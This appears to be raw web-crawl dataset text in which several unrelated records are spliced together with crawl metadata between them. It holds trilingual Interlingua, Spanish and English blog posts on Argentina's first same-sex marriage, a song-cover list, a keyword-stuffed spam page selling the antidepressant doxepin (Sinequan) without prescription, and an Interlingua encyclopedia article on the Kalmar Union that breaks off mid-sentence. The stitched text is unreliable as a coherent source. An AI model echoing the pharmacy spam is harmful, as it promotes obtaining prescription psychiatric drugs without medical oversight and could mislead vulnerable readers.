Buenos Aires que falló a favor del matrimonio de Freyre y Di Bello, la Conferencia Episcopal afirmó, en un comunicado que el intento de legalizar el matrimonio entre homosexuales es \"una grave injusticia en la medida que procura artificialmente igualar realidades humanas diferentes\".\n---\nThe Argentine Church rejects gay marriage.\nThe marriage of the Argentine Alex Freyre and José Maria Di Bello has not only aroused the pride of the gay community in Latin America, but the concern and condemnation of the Catholic Church in Argentina, whose moral authority is now seriously disputed because of growing scandals of pedophilia in the priesthood.\nCriticism by the Argentine Catholic Church of gay marriage is not new. Commenting on the debate generated by the decision of a Buenos Aires court that ruled in favor of the marriage of Freyre and Di Bello, the Bishops' Conference said in a statement that the attempt to legalize gay marriage is \"a grave injustice to the extent that it attempts to artificially equalize different human realities.\"\nPosted by hkyson at 10:35 PM\nSaturday, May 8, 2010\n(Languages of this post: Interlingua, Spanish, English)\nPost superar un serie de barrieras legal duo homines in Argentina ha potite contraher matrimonio in ille pais, convertente se in le prime copula gay maritate in le America latin.\nAlex Freyre e José María Di Bello realisava le ceremonia de forma secrete e surprisive in le provincia austral de Tierra del Fuego, post obtener le permisso del governadora Fabiana Ríos.\n\"Io me trova multo felice de haber facite isto que pro alteres es tan simple e pro nos esseva tan difficile\", diceva Freyre post le cerimonia de maritage.\nLe copula habeva essite frustrate in su intention de contraher matrimonio le prime die del decembre passate, quando un resolution legal de ultime minuta bloccava le ceremonia que on habeva planificate in un Registro Civil de Buenos Aires.\nLe duo homines habeva organisate le ceremonia post que un judice declarava inconstitutional le concepto legal que le matrimonio debeva esser limitate a personas del sexo opponite.\nLe decision del governamento de non appellar le decision juridic habeva date le luce verde al ceremonia. Nonobstante, duo decisiones judicial annunciate intra horas del evento suspendeva provisorimente le ceremonia de maniera que le Corte Supreme poteva formar un opinion legal sur le thema.\nFreyre e Di Bello es membros del Federation Argentin de Lesbianas, Gays, Biusexuales, e Transexuales (Falgbt), un gruppo que lucta pro complir le equalitate de derectos pro le gays.\nSecundo Freyre, multes vole maritar se proque le matrimonio offere un quantitate multo plus grande de garantias e beneficios que le union civil. \"Un vice que un copula es maritate\", diceva ille, \"le infantes potera reciper le beneficios de ambe adultos. In le actualitate, pro exemplo, il ha multe infantes qui non ha accesso a coperitura medic.\"\nAltere beneficios que se exclude es le avantages tributari del copula, le derectos de hereditage, pensiones e derectos social, como le beneficios in politicas migratori.\nFreyre anque diceva que le principal copulas interessate in maritar se es illos in le quales un del membros ha filios. \"Un vice que le copula es maritate, le infantes potera reciper le beneficios de ambe aultos\", diceva ille. \"In le actualitate il ha multe infantes qui non ha accesso a coperitura medic.\"\nPro ille, le matrimonia gay representa \"un avantiamento gigantesc\" pro lo que ille crede es le proxime batallia in le equalitate juridic, le derecto al adoption. \"In le actualitate jam existe centenares de infantes qui vive in familias homosexual\", diceva ille. \"Le problema es que illes es adoptate per un membro del copula qui les habeva adoptate como un singule persona.\"\nQuando Freyre e Di Bello offereva a devenir parte del campania pro legalisar le maritage gay, illes sapeva que illes esserea le foco de multe attention.\nLe copula, qui vive con le virus del VIH, ha usate le grande attention del medios de communication que illes ha attrahite pro parlar sur themas polemic, como le discrimination contra le homosexuales e contra personas con le maladia VIH\/Sida. \"Nos debe construer imagines positive, monstrar que on pote haber VIH e haber un projecto in le vita\", diceva Freyre.\nSecundo Freye, ille e su partenario pote confrontar omne le molestiation mediatic proque un vinculo multo forte les uni, que nasceva ante plus que sex annos, quando surgeva le amor inter illes durante un evento con relationes al VIH\/Sida. \"In nostre caso nos habeva le appoio total de nostre familias e de nostre impleatores, e a causa de illo nos pote facer isto\", diceva ille. \"Multe altere gays non poteva exponer se tan publicamente proque illes poteva perder lor travalios o esser discriminate per alicun personas amate.\"\nPro ille, le matrimonio gay significa \"le principio del fin de un systema social homophobic\". Nonobstante Freye clarificava que non omne le homosexuales videra le maritage como alique positive. \"Nunc multe copulas va a confrontar un crise\", diceva ille, \"proque como in le caso del heterosexuales un del duo membros de un copula pote demandar al altere pro que non vole tu maritar te con me? Il ha multe heterosexuales in relationes de copula que prefere mantener lor relationes sin le obligations legal del matrimonio.\"\n---\nEl primer casamiento gay de América Latina\nTras superar una serie de escollos legales dos hombres en Argentina han podido contraer matrimonio en ese país, convirtiéndose en la primera pareja gay de casados en América Latina.\nAlex Freyre y José María Di Bello realizaron la ceremonia de forma secreta y sorpresiva en la provincia austral de Tierra del Fuego, tras obtener el permiso de la gobernadora Fabiana Ríos.\n\"Estoy feliz de haber logrado esto que para otros es tan simple y para nosotros resultó tan difícil\", señaló Freyre tras el casamiento.\nLa pareja había visto frustrada su intención de contraer matrimonio el primero de diciembre pasado, cuando una resolución legal de último minuto frenó la ceremonia que se había planeado en un Registro Civil de Buenos Aires.\nLos dos hombres habían organizado la boda después de que una jueza considerara inconstitucional el concepto legal que el matrimonio fuera limitado a personas del sexo opuesto.\nLa decisión del gobierno de no apelar el fallo jurídico había dado luz verde a la ceremonia. No obstante, dos decisiones judiciales anunciadas a pocas horas del evento suspendieron provisoriamente la boda en tanto la Corte Suprema pudiera definirse sobre el tema.\nFreyre y Di Bello pertenecen a la Federación Argentina de Lesbianas, Gays, Bisexuales y Transexuales (Falgbt), una agrupación que lucha para lograr la igualdad de derechos para los gays.\nSegún Freyre, muchos quieren casarse porque el matrimonio ofrece muchas más garantías y beneficios que la unión civil. \"Una vez que una pareja esté casada\", dijo, \"los niños podrán recibir los beneficios de ambos adultos. En la actualidad, por ejemplo, hay muchos niños que no tienen acceso a cobertura médica.\"\nOtros beneficios que se excluyen están las ventajas tributarias a la pareja, los derechos de herencia, pensiones y derechos sociales, como los beneficios en políticas migratorias.\nTambién dijo Freyre que los principales interesados en casarse son las parejas en las que uno de los cónyuges tiene hijos. \"Una vez que la pareja esté casada, los niños podrán recibir los beneficios de ambos adultos,\" dijo. \"En la actualidad hay muchos niños que no tienen acceso a cobertura médica.\"\nPara él, el matrimonio gay representa \"un avance gigantesco\" para lo que considera la próxima batalla en la equidad de leyes: el derecho a la adopción. \"En la actualidad ya existen cientos de niños que viven en familias homosexuales\", dijo. \"El problema es que son adoptados por un miembro de la pareja que los había adoptate como persona soltera.\"\nCuando Freyre y Di Bello ofrecieron formar parte de la campaña de la Falgbt para legalizar el casamiento gay, sabían que serían el foco de mucha atención.\nLa pareja, que vive con el virus del VIH, ha aprovechado la alta exposición mediática para abordar temas polémicos, como la discriminación contra los homosexuales y contra los enfermos de VIH\/Sida. \"Hay que construir imágenes positivas, mostrar que se puede tener VIH y tener un proyecto de vida\", dijo Freyre.\nSegún Freyre, él y su pareja pueden hacer frente a todo el acoso mediático porque los une un vínculo muy fuerte, que nació hace más de seis años, cuando surgió el amor entre ellos durante un evento relacionado al VIH\/Sida. \"En nuestro caso contamos con el respaldo total de nuestras familias y de nuestros empleadores, y por eso podemos hacer esto\", dijo. \"Muchos otros gays no podrían exponerse tan públicamente ya que podrían perder sus trabajos o ser discriminados por algunos seres queridos.\"\nPara él, el matrimonio gay significa \"el principio del fin de un sistema social homofóbico\". No obstante, Freyre aclaró que no todos los homosexuales verán el casamiento como algo positivo. \"Ahora muchas parejas van a entrar en crisis\", dijo \"porque, al igual que pasa con los heterosexuales, uno de los dos podrá preguntarle al otro ¿por qué no te querés casar conmigo? Hay muchos heterosexuales en relaciones de pareja que prefieren mantener sus relaciones sin las obligaciones legales del matrimonio.\"\n---\nThe first gay marriage in Latin America\nAfter overcoming a series of legal hurdles in Argentina two men have been able to get married in that country, becoming the first married gay couple in Latin America.\nAlex Freyre and José Maria Di Bello went through the ceremony conducted in secret to the surprise of the southern province of Tierra del Fuego, after obtaining permission from the Governor, Fabiana Ríos.\n\"I am happy to have done this, which for others is so simple and was so difficult for us,\" said Freyre after the wedding.\nThe couple had been thwarted in their intention to marry on December 1, when a last-minute legal decision halted the planned ceremony in a civil-registry office in Buenos Aires.\nThe two men had organized the wedding after a judge deemed unconstitutional the legal concept that marriage was limited to persons of the opposite sex.\nThe city government decision not to appeal the judicial opinion had given the green light to the ceremony. However, two court decisions announced within hours of the event suspended the wedding temporarily so that the Supreme Court could reach a legal opinion on the subject.\nFreyre and Di Bello belong to the Argentine Federation for Lesbian, Gay, Bisexual, and Transgendered people (FALGBT in its Spanish acronym), a group that is fighting to achieve equal rights for gays.\nAccording to Freyre, many want to get married because marriage offers more guarantees and benefits than civil unions do. \"Once a couple is married,\" he said, \"children can receive the benefits of both the adults. Right now, for example, there are many children who have no access to health coverage.\"\nOther benefits that are excluded are the tax advantages to the couple, inheritance rights, pensions, and social rights, such as benefits in migration policies.\nFreyre also said that people interested in getting married are couples in which one spouse has children. \"Once a couple is married, children can receive the benefits of both adults,\" he said. \"At present there are many children who have no access to health coverage.\"\nFor him, gay marriage represents a \"quantum leap\" for what he considers the next battle in legal fairness: the right to adopt. \"Today there are already hundreds of children living in homosexual families,\" he said. \"The problem is that they are adopted by one member of the couple who had adopted them as a single person.\"\nWhen Di Bello and Freyre offered to join the Falgbt campaign to legalize gay marriage, they knew they would be the focus of much attention.\nThe couple, both of whom are living with HIV, has used the great media attention they have attracted to address controversial issues such as discrimination against gays and against people living with HIV\/AIDS. \"We must build positive images, show that people can have HIV and have a life plan,\" Freyre said.\nAccording to Freyre, he and his partner can deal with all media harassment because they are united by a very strong bond, which was born more than six years ago, when love developed between them during an event related to HIV\/AIDS. \"In our case we have the full support of our families and our employers, and for that reason we can do this,\" he said. \"Many other gay men could not be exposed so publicly because they could lose their jobs or be discriminated against by some loved ones.\"\nFor him, gay marriage means \"the beginning of the end of a homophobic social system. \"Still, Freyre said that not all homosexuals see marriage as something positive. \"Now many couples are going to go into a state of crisis, he said, \"because, as happens with straight people, one of the two will be able to ask the other one why don't you want to get married to me?. There are many heterosexuals in a coupled relationship who prefer to maintain their relationships without the legal obligations of marriage.\"\nPosted by hkyson at 9:38 PM\n(Languages of this post: Inerlingua, Spanish, English)\nLe Camera de Diputatos de Argentina ha approbate un lege que permitte le matrimonio de copulas del mesme sexo. Nunc le initiativa debera reciper le approbation del Senato.\nPost un debatto que durava plus que 12 horas, le possibile nove lege recipeva 125 votos in su favor e 109 contra illo. Sex legislatores se abstineva.\nSi le reforma es approbate per le Senato le proxime septimana, Argentina devenira le prime pais del America latin que permittera le matrimonio de personas del mesme sexo in le nivello national, anque permittente derectos de adoption.\nIn le resto del Americas, solmente in le Citate de Mexico pote le copulas homosexual maritar se e adopter infantes. In Uruguay on permitte le adoption ma non le matrimonio. E in le Statos Unite, copulas homosexual pote contraher matrimonio solmente in cinque statos e in le capital del pais, Washington.\n---\nLa Cámara de Diputados de Argentina aprueba un proyecto de ley sobre el matrimonio gay\nLa Cámara de Diputados de Argentina ha aprobado un proyecto de ley que permite el matrimonio de parejas del mismo sexo. Ahora la iniciativa deberá recibir el visto bueno del Senado.\nTras un debate que duró más de 12 horas, la norma obtuvo 125 votos a favor y 109 en contra. Seis legisladores se abstuvieron.\nSi la reforma es aprobada por el Senado la próxima semana, Argentina se convertirá en el primer país de América Latina en permitir el matrimonio de personas del mismo sexo en el nivel nacional, dando también luz verde al derecho a la adopción.\nEn el resto de las Américas, sólo en Ciudad de México las parejas homosexuales pueden casarse y adoptar niños. En Uruguay, está permitida la adopción pero no el matrimonio. Y en los Estados Unidos sólo las parejas homosexuales pueden contraer matrimonio en cinco estados y en la capital del país, Washington.\n---\nThe lower house of Argentina's legislature approves a gay-marriage bill.\nThe Chamber of Deputies of Argentina has passed a bill allowing marriage for same-sex couples. The bill now must be approved by the Senate.\nAfter a debate that lasted more than 12 hours, the bill got 125 votes in its favor with 109 against it. Six lawmakers abstained.\nIf the reform is approved by the Senate next week, Argentina will become the first Latin American country to allow the marriage of persons of a single sex at the national level, also giving the green light to the right to adopt.\nIn the rest of the Americas, only in Mexico City can gay couples marry and adopt children. In Uruguay, adoption is allowed but not marriage. And in the United States gay couples can marry only in five states and the capital of the country, Washington.\nPosted by hkyson at 1:11 PM\nWednesday, May 5, 2010\n(Languages of this post: Interlingua, English)\nLe scopo de \"Interlingua multilingue\" es facilitar le studio de interlingua e su linguas fonte per provider multissime textos parallel redigite de un maniera simple e clar in interlingua e su linguas fonte, le studio comparative del quales demonstra rapidemente le similaritates e le differentias inter iste gruppo de linguas.\nVos pote, si vos vole, studiar iste documentos attentemente o simple leger los pro apprender interlingua plus passivemente. Si vos cognosce solmente le anglese, vos pote vader immediatemente al versiones in anglese de iste articulos pro informar vos sur lor contento.\nIl nunc ha plus que 1.100 documentos in \"Interlingua multilingue\", le quales representa un grandissime selection de textos pro studentes de interlingua e su linguas fonte.\nUn del linguas fonte quasi sempre es le anglese proque le anglese, naturalmente, es mi lingua native. Isto representa un grandissime ressource pedagogic pro studentes del anglese.\nLe major parte del altere linguas fonte in le articulos trilingue de iste sito es le espaniol e le portugese, e multes del articulos recente in iste linguas es sur themas del duo continentes American. (Le articulos in portugese sovente es sur themas brasilian.)\nPro rationes de securitate, Interlingua multilingue\" es immediatemente disponibile in duo sitos: (1) [hkyson.wordpress.com] e (2) [interlinguamultilingue.blogspot.com].\nAltere publicationes mie pro studentes de interlingua es \"Interlingua in interlingua\", que es disponibile in duo locos: (1) [interlingua-in-interlingua.tripod.com] e (2) [interlingua.topwebhoster.ca].\n\"Interlingua in interlingua\" ha un varietate de textos sur le scientias, le viages, e le interlinguistica, tanto como un curso de interlingua, \"Lege interlingua e apprende su structura\", in dece e octo capitulos. Un altere version de iste curso, redigite per Erik Enfors, es disponibile a [interlingua.nu\/elibros\/Lege%20interlingua.pdf].\nIo anque ha elaborate un curso de conversation, que es disponibile in [conversationininterlingua.blogspot.com]. Un altere version de iste curso, redigite per Eric Enfors e Bent Anderson, es disponibile a [interlingua.nu\/elibros\/Conversation_interlingua.pdf].\nCon solmente iste ressources bibliographic, vos facilemente pote apprender interlingua sin le necessitate de altere ressources, ben que omne le altere ressources que vos pote trovar in Internet anque providera a vos multe beneficios in vostre studios.\n---\nThere are now more than 1,100 documents stored in \"Interlingua multilingue.\"\nThe purpose of \"Interlingua multilingue\" is to facilitate the study of Interlingua and its source languages by providing a lot of parallel texts edited in a clear and simple way between Interlingua and its source languages, the comparative study of which rapidly shows the similarities and differences between Interlingua and this group of languages.\nYou can, if you want, study these documents carefully or simply read them to learn Interlingua more passively. If you know only English you can go immediately to the versions of these articles that are in English to inform yourself about their content.\nThere are now more than 1,100 documents in \"Interlingua multilingue,\" which represent a very large selection of texts for students of Interlingua and its source languages.\nOne of the source languages is almost always English because English, naturally, is my native language. This represents a very significant learning resource for students of English.\nMost of the other source languages in the trilingual articles of \"Interlingua multilingue\" are Spanish and Portuguese, and many of the recent articles in these languages are about subjects relating to the two American continents (The articles in Portuguese are often about Brazilian matters.)\nFor reasons of security, \"Interlingua multilingue\" is immediately available in two sites: (1) [hkyson.wordpress.com] and (2) [interlinguamultilingue.blogspot.com].\nOther publications of mine for students of Interlingua are \"Interlingua in interlingua,\" which is available in two places: (1) [Interlingua-in-interlingua.tripod.com] and (2) [interlingua.topwebhoster.ca].\n\"Interlingua in interlingua\" has a variety of texts on the sciences, travel, and interlinguistics, as well as an Interlingua course, \"Lege interlingua e apprende su structura,\" in eighteen chapters. Another version of this course, edited by Erik Enfors, is available at [interlingua.nu\/elibros\/Lege%20interlingua.pdf].\nI also have elaborated a conversation course, which is available at [conversationininterlingua.blogspot.com]. Another version of this course, edited by Erik Enfors and Bent Anderson, is available at [interlingua.nu\/elibros\/Conversation_interlingua.pdf].\nWith only these bibliographic resources, you can easily learn Interlingua without the need of other resources, though all the other resources that you can find on the Internet will also provide you with many benefits in your studies.\nPosted by hkyson at 2:06 AM","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2010_05_01_archive.html","date":"2014-08-20T22:24:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500812867.24\/warc\/CC-MAIN-20140820021332-00002-ip-10-180-136-8.ec2.internal.warc.gz","language":"ina","language_score":0.5842009187,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"ina_Latn_score\": 0.584200918674469, \"eng_Latn_score\": 0.08782807737588882, \"por_Latn_score\": 0.07511905580759048, \"cbk_Latn_score\": 0.03560783341526985, \"spa_Latn_score\": 0.03135072812438011, \"ita_Latn_score\": 0.014597390778362751, \"srd_Latn_score\": 0.011217746883630753, \"ile_Latn_score\": 0.010859312489628792}","num_words":19027,"character_repetition_ratio":0.038,"word_repetition_ratio":0.022,"special_characters_ratio":0.193,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.631,"perplexity_score":2331.5,"cluster_detection":-1} +{"text":"Musica\n|AD luis miguel amarte es un placer|\n|12-amarte es un placer 1|\n|Luis miguel - amarte es un placer - dj diego|\n|Amarte es un placer cover|\n|Amarte es un placer - luis miguel|\n|Amarte es un placer lm studio|\n|Amarte es un placer - luis miguel cover|\n|Amarte es un placer, luis miguel-cover|\n|Amarte es un placer ( luis miguel )|\n|Amarte es un placer (luiz miguel cover)|\n|Amarte es un placer - miguel angel cardoso|\n|Amarte es un placer (cover de luis miguel)|\n|Luis miguel- amarte es un placer cover by canta juan carcamo|\n|Cover amarte es un placer - luis miguel by yo|\n|Amarte es un placer - micky barrera (by barrera sound)|\n|02 - amarte es un placer- micky barrera [prod innovha music]|","id":"","dump":"CC-MAIN-2015-27","url":"http:\/\/www.sonicomp3.me\/music\/luis-miguel-amarte-es-un-placer.html","date":"2015-07-06T02:49:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-27\/segments\/1435375097861.54\/warc\/CC-MAIN-20150627031817-00046-ip-10-179-60-89.ec2.internal.warc.gz","language":"ina","language_score":0.7151146531,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.7151146531105042, \"ile_Latn_score\": 0.14363066852092743, \"spa_Latn_score\": 0.07216010987758636, \"nrm_Latn_score\": 0.02140391804277897}","num_words":196,"character_repetition_ratio":0.346,"word_repetition_ratio":0.037,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.668,"perplexity_score":5953.2,"cluster_detection":-1} +{"text":"Comprar Generico Sinequan online en Espana\nSinequan (Sinonimo: Doxepin)\nSinequan (doxepina) se utiliza para elevar el estado de animo de los pacientes con depresion.\nRelated Tags:\nSinequan farmacia en sedici\ncompra Sinequan sin receta\nbuy Sinequan 10 mg online comprar\nSinequan 10 mg en venezuela\nSinequan farmacia saldo compra de medicamentos\nSinequan farmacia merca local\nSinequan farmacia en albea\nmedicamento online Sinequan 25 mg\nSinequan farmacia conceder la rebaja se\nSinequan farmacia redescuento factura electronica\nSinequan paquete postal medicamento ciudad de la habana\ncompra farmacia comprimido valor Sinequan\nSinequan 25 mg en argentina Sinequan 25 mg\ncomprar Sinequan\ncompra pildora brazil argentina Sinequan 10 mg\nSinequan farmacia costar boost\nfarmacia non receta Sinequan\nSinequan 25 mg descuento precios\ncomprar em portugal Sinequan 10 mg\nSinequan descuento generico\ncompra comprimido citrato de Sinequan\npaquete postal Sinequan farmacia fabricantes de medicamentos\nSinequan barato euro per\ncomprimido Sinequan a poco precio se\nSinequan farmacia en espana apertura\nSinequan rematar con descuento alianza lima\nSinequan 75 mg farmacia barato comprar\nSinequan en la massana\nSinequan farmacia comprar con la rebaja gasto\nfarmacia compro Flomax\ncompra Sinequan gratis pildoras\nSinequan farmacia a bajo precio sin\nSinequan 75 mg bueno precio\nSinequan non receta\nSinequan gratuito auxiliares de farmacia\nSinequan farmacia en spain\nSinequan 10 mg en mejico all customers\ncompra pastilla Sinequan sin receta\nSinequan paquete postal una la guardia civil\nSinequan a boost precio\ncompra pildora Sinequan vina del mar\nfarmacia en andorra comprar Sinequan\nSinequan farmacia en bravo\nfarmacia en linea Sinequan\nSinequan medicamento en lane\nSinequan en grandvalira\nSinequan 10 mg farmacia en\nSinequan mandar a domicilio\nSinequan con descuento pharmacy\nSinequan gratis venta\nSinequan 75 mg compra farmacia comprimido fedex\nSinequan de gracia\nfarmacia a bajo comprar Sinequan\nSinequan envio\nSinequan paquete postal medicamento damas de blanco\nfarmacia vender con rebaja medicamentos Sinequan genericos\nbajo Sinequan farmacia\nfarmacia de descuento union Sinequan\nSinequan envio de aire comprimido\ncomprimido comprar Sinequan\nCoreg paquete postal una ciudad\nSinequan en mexico online\nperu comprar Sinequan\nenviar Sinequan buy online\nbuy Sinequan 10 mg online rematar con descuento\nSinequan con descuento reliable online drugstore\nAciclovir enviar medicamento eeuu\ndescuento Sinequan comprar\nSinequan medicamento online compra\nfarmacia a bajo precio Sinequan generico\nenviar Sinequan dias\nSinequan enviar a los medicamentos\nSinequan en peru farmacia\nSinequan paquete postal comprimido sin fronteras\nbuy Sinequan online no receta\nSinequan en espana farmacia online\nSinequan comprar barato\nbuy Sinequan online barato\nbuy Sinequan online en argentina\nSinequan descuento pharmacy\nSinequan en mejico generic drugs\nSinequan bajo venta\nSinequan paquete postal uno\ncomprimido no receta comprar Sinequan 10 mg\nSinequan comprimido corning poco\nSinequan comprimido a poco precio problemas\nfarmacia en chile universidad Sinequan\ncomprimido a poco precio Sinequan mg\nSinequan paquete postal farmacia ajanta pharma\nfarmacia Sinequan\nSinequan comprimido non receta\nSinequan farmacia comprar con la rebaja sistema sanitario\nfarmacia comprar Sinequan sin receta\nSinequan line medicamentos genericos\ncomprimido bueno Sinequan precio ciudad\nSinequan saldo\nSinequan compra tableta\nSinequan precio natural\nfarmacia con descuento medicamentos Sinequan\nSinequan compra tableta problemas\nSinequan farmacia borato\nSinequan bajo garantia de satisfaccion\nbuy Sinequan online de gracia\nSinequan medicamento en light\nVasotec conceder descuento comprar\ncomprimido enviar Capoten\nandorra Sinequan comprar\nSinequan 25 mg bueno precio cialis generico\nSinequan 75 mg rematar con descuento\ncomprimido no receta Sinequan hcl\nSinequan farmacia online productos\nSinequan farmacia el precio mas bajo\nenviar Sinequan archivo comprimido\nSinequan enviar medicamento se\nSinequan 25 mg compra tableta acuista\nSinequan donde comprar pastillas\nbarato Sinequan comprar\nSinequan medicamento online sin formula\nSinequan 75 mg comprimido not receta\nfarmacia a bajo precio calidad Sinequan\ncomercializacion uno Sinequan\nSinequan farmacia de guardia\nSinequan libre\npaquete postal farmacia medicamentos genericos Sinequan\ncompra tableta Sinequan 25 mg online\nSinequan farmacia conceder united nations descuento\nfarmacia online comprar Sinequan\nSinequan conceder descuento fabricantes de medicamentos\nfarmacia ventafax en subasta Shallaki\nSinequan 75 mg farmacia barato receita medica\nSinequan envio pildora farmacia online\nSinequan farmacia en australia\nSinequanfarmacia redescuento terapia intensiva\nSinequan a poco precio\nSinequan. comprimido no receta mg\nSinequan farmacia en andorra especializada\nbarato per comprimido Sinequan 75 mg\ncomprimido Sinequan 25 mg no receta line\nSinequan adquisicion\nbuy Sinequan online a poco precio\ncomprimido a poco precio generico Sinequan\nSinequan pildora\nZofran farmacia en brazil\ncompra farmacia comprimido generico Sinequan\nSinequan 10 mg venta de pildora abortiva\nSinequan bueno precio de aire comprimido\ncomprar comprimidos online Sinequan","id":"","dump":"CC-MAIN-2015-27","url":"http:\/\/www.anddev.org\/multimedia-problems-f28\/comprar-sinequan-generico-online-t1387583.html","date":"2015-07-03T20:25:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-27\/segments\/1435375096209.79\/warc\/CC-MAIN-20150627031816-00296-ip-10-179-60-89.ec2.internal.warc.gz","language":"ina","language_score":0.3202106357,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"ina_Latn_score\": 0.32021063566207886, \"spa_Latn_score\": 0.19612568616867065, \"arg_Latn_score\": 0.10080288350582123, \"eus_Latn_score\": 0.06321711838245392, \"lat_Latn_score\": 0.056625496596097946, \"por_Latn_score\": 0.040202248841524124, \"ile_Latn_score\": 0.0386895015835762, \"ncj_Latn_score\": 0.02703484706580639, \"cat_Latn_score\": 0.021323394030332565, \"eng_Latn_score\": 0.014395790174603462, \"ita_Latn_score\": 0.013899502344429493}","num_words":1448,"character_repetition_ratio":0.17,"word_repetition_ratio":0.007,"special_characters_ratio":0.149,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.16,"perplexity_score":25431.7,"cluster_detection":-1} +{"text":"Union de Kalmar\n|Union de Kalmar|\n\n\n|Capital||Copenhagen|\n|Wikimedia Commons Category\n\n\nKalmar Union\nLe union de Kalmar esseva un union inter le monarchias Danmark, Norvegia e Svedia que esseva fundate 1397 e durava usque a 1523. Le union includeva tamben Finlandia, Islanda, Groenlandia, Insulas Feroe, Insulas Orkney e Insulas Shetland. Quando Svedia quitava le union Danmark e Norvegia restava in union usque a 1814, ma con alterationes considerabile 1536. Le union esseva fundate in Kalmar 1397 ubi le nobilitate del tres paises esseva assemblate pro coronar Erik como rege del tres paises. Le lettera del union de iste incontro es preservate e historicos ha opiniones differente concernente le interpretation de iste lettera. Ma de facto le tres paises esseva governate per un monarcha e Erik esseva succedite per Kristofer de Bavaria. Quando ille subito moriva in januario 1448 il non habeva alcun successor predestinate e Danmark e Svedia eligeva cata uno su proprie rege. Il durava usque a 1457 ante que le tres paises de novo esseva governate per le mesme rege, Kristian I. Ma solmente durante curte tempore proque le successores Hans e Kristian II governava Svedia solmente durante curte periodos. Totevia le union esseva un alternativa politic in Svedia durante tote le tempore usque al election de Gustav Vasa 1523. Secundo plure historicos le union esseva create pro contrabalanciar le expansion verso le nord per le Hanse, le Ordine German e certe principes in Germania del nord. Le Union de Kalmar totevia mancava poter de legislation federal dunque illo non esseva un stato federal ma plus tosto un union personal.\nContento\nRegina Margareta, le initiator del union[modificar | modificar fonte]\nMargareta Valdemarsdotter nasceva in le primavera 1353 como filia del rege Valdermar Atterdag e su regina Helvig (non Hedvig). Illa maritava le rege norvegian Håkan Magnusson (1340-1380) 1363 quando illa habeva 10 annos. Ille deveniva tamben rege de Svedia 1362 e coregente insimul con su patre Magnus Eriksson. 1370, al etate de 17 annos illa parturiva su singule infante, Olof.\nJam in le initio como regina illa monstrava su capacitate como consiliero al sposo qui esseva plus vetule.\nQuando Håkan moriva in 1380 Olof esseva eligite como rege de Danmark. Su granpatre Valdemar moriva jam 1375 e Valdemar habeva promittite que le nepto de Margareta, Albrekt, devenirea rege ma Margareta habeva bon contactos con le episcopos e altere homines importante del stato e faceva prevaler su voluntate. Margareta esseva tutor de Olof. Quando rege Håkan de Norvegia moriva 1380 Olof , qui habeva 10 annos, hereditava le regno. Margareta governava ambe regnos con habilitate e fortia imponente e quando Olof moriva in 1387, al etate de 17 annos illa continuava governar malgrado que le lineage Mecklenburg habeva derectos hereditari e in Danmark e in Norvegia.\nSu titulo esseva \"sposa e patrono e tutor plenipotentiari de Danmark e Norvegia\".\n1388 illa esseva governator de Svedia post un accordo con nobilitates svedese in le fortalessa Dalaborg. Alora illa promitteva liberar Svedia ab del rege Albrekt de Mecklenburg e su soldatos german qui esseva odiate per le svedeses. Le 24 de februario illa vinceva in un battalia presso Falköping e Albrekt e su filio esseva prisioneros. Post intervention del Hanse illa recipeva Stockholm 1398 in excambio con Albrekt e su filio. Stockholm habeva suffrite plure annos de alliantias anarchic german.\nJam 1396 Margareta habeva succedite facer su nepto Bogislav de Pomerania eligite como rege del tres regnos ma ille esseva fortiate cambiar nomine a Erik de Pomerania. Ille esseva adoptate per Margareta e le 17 de junio 1397 Erik, qui habeva 15 annos, esseva coronate in Kalmar.\nLe incontro in Kalmar 1397[modificar | modificar fonte]\nLe lettera del Union 1397:\nIllo comencia:\nPrimo nunc iste tres regnos debe haber iste rege Eric durante su vita, e postea iste tres regnos debe haber un rege e non plus in omne tres regnos, assi que regnos nunquam essera separate, si Deo lo desira.\nLe prime testimonio que Margareta desirava crear un union consistente del tres paises que habeva Erik como rege es le Recesso de Nyköping 1396. Un union personal jam existeva e Margareta desirava completar lo con un ver union lo que esseva considerate como un condition necessari pro pace. Le union includeva tamben Finlandia, Islanda, Groenlandia, Insulas Feroe. Insulas Orkney e Insulas Shetland. Representantes ab le tres paises incontrava durante al minus quatro septimanas in Kalmar durante le estate 1397. Le Incontro comenciava con un ceremonia quando Erik esseva coronate per le archiepiscopos de Lund e Uppsala. Secundo plure historicos le union esseva create pro contrabalanciar le expansion verso le nord per le Hanse, le Ordine German e certe principes in Germania del nord. Le Union de Kalmar totevia mancava poter de legislation federal dunque illo non esseva un stato federal ma plus tosto un union personal.\nLe lettera de Coronation\nIn iste lettera es proclamate que le coronation de Erik es realisate. Le subscriptores exprime lor fidantia verso rege Erik e da a Margareta libertate de responsabilitate. Le lettera non impone alcun deberes specificate al rege ma il ha un passage que dice:\" e ille facera a nos omnes lo que ille debe.\" In le lettera es stabilite que ille es \"Rege gratia de Deo\".\nIn \"Le lettera del Union\" cinque principios importante es determinate:\n• Un singule rege debe regnar super le tres regnos. Principalmente le union debe esser un regno electoral ma in prime instantia filios de reges debe esser eligite.\n• Le rege debe governar cata regno secundo lo proprie leges.\n• Si uno del regnos es menaciate per guerra le alteres debe succurrer.\n• Ille qui es declarate foras del lege debe esser lo in omne regnos.\n• In negotios con altere regnos le rege ha, insimul con membros del consilio de cata regno, le derecto facer decisiones pro le plus bon pro omnes.\nPlure historicos dubita si iste \"Lettera del Union\" vermente es le documento final proque le apparentia exterior non simila a altere documentos medieval. P.ex. illo non es scribite sur pergamena. Forsan illo solmente es un documento preliminar. In plus le incontro in Kalmar forsan non proclamava un tractato que esseva obligatori pro le tres regnos. Il pare que Margareta porta le responsabilitate pro isto.\nIn le \"Lettera de Coronation\" se monstra un theoria statal ubi le autoritate es ligate al rege, \"regime regale\", ma le Lettera del Union monstra un theoria statal ubi le autoritate del rege es dependente del leges, \"regime politicum\". Le nobilitate del consilio statal plus 